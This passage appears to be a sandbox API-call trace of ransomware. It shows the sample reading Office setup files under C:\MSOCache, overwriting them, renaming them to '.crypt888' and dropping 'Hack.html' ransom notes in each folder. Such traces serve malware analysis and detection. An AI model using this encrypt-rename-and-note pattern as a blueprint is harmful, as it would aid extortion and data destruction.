[0068.590] CloseHandle (hObject=0x258) returned 1 [0068.591] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.591] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0068.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.591] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xba140740, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x4130)) returned 1 [0068.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.591] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0068.592] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0068.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.592] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.592] GetFileType (hFile=0x258) returned 0x1 [0068.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.592] GetFileType (hFile=0x258) returned 0x1 [0068.592] WriteFile (in: hFile=0x258, lpBuffer=0x27c6fd4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27c6fd4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.593] CloseHandle (hObject=0x258) returned 1 [0068.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.593] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0068.594] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0068.594] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0068.604] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.604] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.604] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.605] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.606] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.606] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.606] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.606] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0068.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.607] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0068.607] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0068.607] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a328 [0068.608] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.608] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.609] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.609] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.609] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.609] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.609] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.609] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.610] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.610] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.610] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.610] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.610] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.610] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.611] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0068.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.612] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.612] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.613] GetFileType (hFile=0x258) returned 0x1 [0068.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.613] GetFileType (hFile=0x258) returned 0x1 [0068.613] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x10b2 [0068.613] ReadFile (in: hFile=0x258, lpBuffer=0x27cc130, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27cc130*, lpNumberOfBytesRead=0x39ed58*=0x10b2, lpOverlapped=0x0) returned 1 [0068.619] CloseHandle (hObject=0x258) returned 1 [0068.637] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.638] GetFileType (hFile=0x258) returned 0x1 [0068.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.639] GetFileType (hFile=0x258) returned 0x1 [0068.639] WriteFile (in: hFile=0x258, lpBuffer=0x281e2b8*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x281e2b8*, lpNumberOfBytesWritten=0x39ed48*=0x10c0, lpOverlapped=0x0) returned 1 [0068.640] CloseHandle (hObject=0x258) returned 1 [0068.640] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.640] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888", lpFilePart=0x0) returned 0x56 [0068.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.640] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0xba1d8cc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10c0)) returned 1 [0068.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.640] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.crypt888")) returned 1 [0068.641] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.641] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.641] GetFileType (hFile=0x258) returned 0x1 [0068.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.641] GetFileType (hFile=0x258) returned 0x1 [0068.641] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x5061 [0068.642] ReadFile (in: hFile=0x258, lpBuffer=0x281f89c, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x281f89c*, lpNumberOfBytesRead=0x39ed58*=0x5061, lpOverlapped=0x0) returned 1 [0068.643] CloseHandle (hObject=0x258) returned 1 [0068.661] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.663] GetFileType (hFile=0x258) returned 0x1 [0068.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.663] GetFileType (hFile=0x258) returned 0x1 [0068.663] WriteFile (in: hFile=0x258, lpBuffer=0x2885894*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2885894*, lpNumberOfBytesWritten=0x39ed48*=0x5070, lpOverlapped=0x0) returned 1 [0068.664] CloseHandle (hObject=0x258) returned 1 [0068.665] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.665] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0068.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.666] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0xba1fee20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5070)) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.666] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0068.666] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpFilePart=0x0) returned 0x4b [0068.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.667] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.668] GetFileType (hFile=0x258) returned 0x1 [0068.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.668] GetFileType (hFile=0x258) returned 0x1 [0068.668] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x2213 [0068.668] ReadFile (in: hFile=0x258, lpBuffer=0x288ad9c, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x288ad9c*, lpNumberOfBytesRead=0x39ed58*=0x2213, lpOverlapped=0x0) returned 1 [0068.675] CloseHandle (hObject=0x258) returned 1 [0068.725] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpFilePart=0x0) returned 0x4b [0068.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.727] GetFileType (hFile=0x258) returned 0x1 [0068.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.727] GetFileType (hFile=0x258) returned 0x1 [0068.727] WriteFile (in: hFile=0x258, lpBuffer=0x26e6780*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x26e6780*, lpNumberOfBytesWritten=0x39ed48*=0x2220, lpOverlapped=0x0) returned 1 [0068.728] CloseHandle (hObject=0x258) returned 1 [0068.729] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpFilePart=0x0) returned 0x4b [0068.729] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.crypt888", lpFilePart=0x0) returned 0x54 [0068.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.729] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0xba2973a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2220)) returned 1 [0068.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.729] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.crypt888")) returned 1 [0068.730] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0068.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.731] GetFileType (hFile=0x258) returned 0x1 [0068.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.731] GetFileType (hFile=0x258) returned 0x1 [0068.731] WriteFile (in: hFile=0x258, lpBuffer=0x26ea504*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26ea504*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.733] CloseHandle (hObject=0x258) returned 1 [0068.733] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\Hack.html", lpFilePart=0x0) returned 0x1f [0068.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0068.733] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\Hack.html" (normalized: "c:\\msocache\\all users\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.733] GetFileType (hFile=0x258) returned 0x1 [0068.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0068.733] GetFileType (hFile=0x258) returned 0x1 [0068.734] WriteFile (in: hFile=0x258, lpBuffer=0x26ecc84*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26ecc84*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0068.734] CloseHandle (hObject=0x258) returned 1 [0068.735] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\Hack.html", lpFilePart=0x0) returned 0x15 [0068.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0068.735] CreateFileW (lpFileName="C:\\MSOCache\\Hack.html" (normalized: "c:\\msocache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.736] GetFileType (hFile=0x258) returned 0x1 [0068.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0068.736] GetFileType (hFile=0x258) returned 0x1 [0068.736] WriteFile (in: hFile=0x258, lpBuffer=0x26ef3dc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed98, lpOverlapped=0x0 | out: lpBuffer=0x26ef3dc*, lpNumberOfBytesWritten=0x39ed98*=0xba, lpOverlapped=0x0) returned 1 [0068.737] CloseHandle (hObject=0x258) returned 1 [0068.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0068.737] GetFullPathNameW (in: 